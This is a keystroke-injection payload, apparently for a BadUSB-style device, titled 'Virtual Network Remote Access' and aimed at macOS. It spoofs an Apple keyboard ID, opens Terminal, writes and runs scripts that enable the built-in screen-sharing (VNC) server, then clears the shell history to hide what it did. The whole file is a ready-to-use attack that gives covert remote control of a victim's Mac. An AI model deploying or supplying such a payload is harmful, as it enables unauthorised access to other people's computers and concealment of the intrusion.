49 lines
1.4 KiB
Plaintext
49 lines
1.4 KiB
Plaintext
REM VNC is a technology that allows you to remotely control another computer.
|
|
REM In this case, if the VNC server is started on a Mac, you can view
|
|
REM and control that Mac from another computer using a VNC viewer application.
|
|
|
|
|
|
|
|
REM Creates a temporary directory called "phantom_vnc" in the "/tmp" directory and navigates into it.
|
|
REM Creates a script file called "vnc_start.sh",
|
|
REM which contains the command to start the MacOS built-in VNC server
|
|
REM creates another script "vnc_stop.sh" that contains a command to stop the VNC server.
|
|
REM It then changes the permissions of these files to be executable using the chmod command.
|
|
REM Executes the "vnc_start.sh" script to start the VNC server.
|
|
REM Finally, it clears the Terminal history and exits Terminal.
|
|
|
|
|
|
|
|
REM Author: Narsty
|
|
REM Title: Virtual Network Remote Access
|
|
REM Target: MacOS
|
|
REM Version: 1.0
|
|
REM Category: Execution
|
|
|
|
ID 05ac:021e Apple:Keyboard
|
|
DELAY 500
|
|
GUI SPACE
|
|
DELAY 500
|
|
STRING Terminal
|
|
DELAY 500
|
|
ENTER
|
|
DELAY 500
|
|
STRING mkdir /tmp/phantom_vnc && cd /tmp/phantom_vnc
|
|
ENTER
|
|
DELAY 500
|
|
STRING echo 'launchctl load -w /System/Library/LaunchDaemons/com.apple.screensharing.plist' > vnc_start.sh
|
|
ENTER
|
|
DELAY 500
|
|
STRING echo 'launchctl unload -w /System/Library/LaunchDaemons/com.apple.screensharing.plist' > vnc_stop.sh
|
|
ENTER
|
|
DELAY 500
|
|
STRING chmod +x vnc_start.sh vnc_stop.sh
|
|
ENTER
|
|
DELAY 500
|
|
STRING ./vnc_start.sh
|
|
ENTER
|
|
DELAY 500
|
|
STRING history -c && exit
|
|
ENTER
|
|
|